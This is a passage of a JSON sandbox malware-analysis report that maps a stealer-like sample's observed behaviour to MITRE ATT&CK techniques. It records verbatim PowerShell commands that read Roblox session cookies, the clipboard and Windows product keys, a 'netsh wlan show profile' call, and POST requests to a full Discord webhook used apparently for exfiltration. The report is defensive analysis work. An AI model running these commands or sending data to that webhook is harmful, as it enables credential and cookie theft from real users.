\"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"getcomputernameexw\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-736","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002000.00000001.177576.53960000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /generate_204\"\n Found http requests in header \"GET /json/?fields=225545\"\n Found http requests in header \"POST /api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"builder.exe\")\n Found reference to API \"AppendData (or AddSubdirectory or CreatePipeInstance)\" (Indicator: \"CreatePipe\"; Source: \"00000000-00003884.00000000.176630.B2F70000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"NetShareGetInfo\" (Indicator: \"NetShareGetInfo\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"NetShareEnum\" (Indicator: \"NetShareEnum\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$57","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$58","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 208.95.112.1 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Detects NETSH process execution","description":"Process \"netsh.exe\" with commandline \"netsh wlan show profile\" (UID: 00000000-00004936)","origin":"Monitored Target","mitre_attack_id":"T1686","relevance":2,"id":"target-186","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \"githubusercontent.com\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$59","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$5b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /generate_204 HTTP/1.1\nHost: gstatic.com\nAccept-Encoding: identity\nUser-Agent: python-urllib3/2.0.3\n\n GET /json/?fields=225545 HTTP/1.1\nHost: ip-api.com\nAccept-Encoding: identity\nUser-Agent: python-urllib3/2.0.3\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 5659c10619c455ea477287b12cf3f7e7","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://gstatic.com/generate_204\n Found HTTPS POST request to https://discord.com/api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"discord.com\" (90 days old)\n Short term registered certificate: \"gstatic.com\" (83 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"User Agent string indicates scripted web access","description":"Found scripted User Agent python-urllib3/2.0.3","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-103","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"142.251.218.227\" on port \"443\"\n HTTPS traffic to \"162.159.138.232\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on process \"00000000-00007276\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00007276\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00003884\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – WinRAR file detected","description":"YARA signature for WinRAR file matched on file \"rar.exe\"","origin":"YARA Signature","mitre_attack_id":"T1560.001","relevance":1,"id":"yara-160","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Remote Access Related","name":"Able to configure Windows Remote Management service","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1133","relevance":1,"id":"string-909","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"file/memory contains long string with (Indicator: \"1password\"; File: \"HvWGi75FaL.tmp\")\n file/memory contains long string with (Indicator: \"1password\"; File: \"NXd6w9S7pJ.tmp\")","origin":"File/Memory","mitre_attack_id":"T1555.005","relevance":3,"id":"string-10057","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"builder.exe\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetNtProductType\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: builder.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: rar.exe]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"builder.exe\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve name of the domain controller for the current domain (API string)","description":"Found domain controller discovery API reference: \"DsGetDcName\" in \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-904","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"powershell Get-Clipboard\" (UID: 00000000-00007588)\n Process \"powershell.exe\" with commandline \"powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\\\Roblox\\\\RobloxStudioBrowser\\\\roblox.com -Name .ROBLOSECURITY\" (UID: 00000000-00008096)\n Process \"powershell.exe\" with commandline \"powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\\\Roblox\\\\RobloxStudioBrowser\\\\roblox.com -Name .ROBLOSECURITY\" (UID: 00000000-00001548)\n Process \"powershell.exe\" with commandline \"powershell Get-ItemPropertyValue -Path 'HKLM:System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment' -Name PROCESSOR_IDENTIFIER\" (UID: 00000000-00005624)\n Process \"powershell.exe\" with commandline \"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault\" (UID: 00000000-00005616)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$61","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"builder.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"net1.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"tasklist.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"WMIC.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00001004)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00007588)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00007588)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"WMIC.exe\" called \"GetComputerNameW\" (UID: 00000000-00006748)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00001004)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007588)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000030000000000000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00001004)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007588)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$62","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"builder.exe\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"builder.exe\")\n Found reference to API \"FindFirstFileExA\" (Indicator: \"FindFirstFile\"; File: \"builder.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"builder.exe\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"builder.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002000.00000001.177576.1388A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c \"tasklist /FO LIST\"\" [Source: 00000000-00007276-00000C47-28045377969]\n Observed string: \"%WINDIR%\\System32\\tasklist.exe\" [Source: 00000000-00004496-00000BC0-925332692]\n Observed string: \"%WINDIR%\\system32\\tasklist.exe\" [Source: 00000000-00004496-00000C47-5450290672]\n Observed string: \"tasklist /FO LIST\" (Indicator: \"tasklist \") in Source: 00000000-00004496-00000C47-5450290672\n Observed string: \"/c \"tasklist /FO LIST\"\" [Source: cmd.exe]\n Observed string: \"C:\\WINDOWS\\system32\\tasklist.exe\" [Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp]\n Observed string: \"tasklist /FO LIST\" (Indicator: \"tasklist \") in Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp\n Observed string: \":\\WINDOWS\\system32\\tasklist.exe\" [Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp]\n Observed string: \"\\Device\\HarddiskVolume2\\Windows\\System32\\tasklist.exe\" [Source: 00000000-00003884.00000000.176630.B15B0000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"NetServerEnum\" (Indicator: \"NetServerEnum\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate user groups or their members (API string)","description":"Found reference to API \"NetGroupGetUsers\" (Indicator: \"NetGroupGetUsers\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"NetGroupEnum\" (Indicator: \"NetGroupEnum\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069","relevance":1,"id":"string-219","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"builder.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002500.00000000.176826.C0162000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve Domain Trust data (API string)","description":"Found reference to API \"DsGetDcNameW\" (Indicator: \"DsGetDcName\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1482","relevance":1,"id":"string-259","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameLocalW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"LsaLookupNames2\" (Indicator: \"LsaLookupNames\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")\n Found reference to API \"LsaLookupNames\" (Indicator: \"LsaLookupNames\"; Source: \"00000000-00001732.00000000.176002.D9E30000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"builder.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001004.00000000.176645.C9861000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: 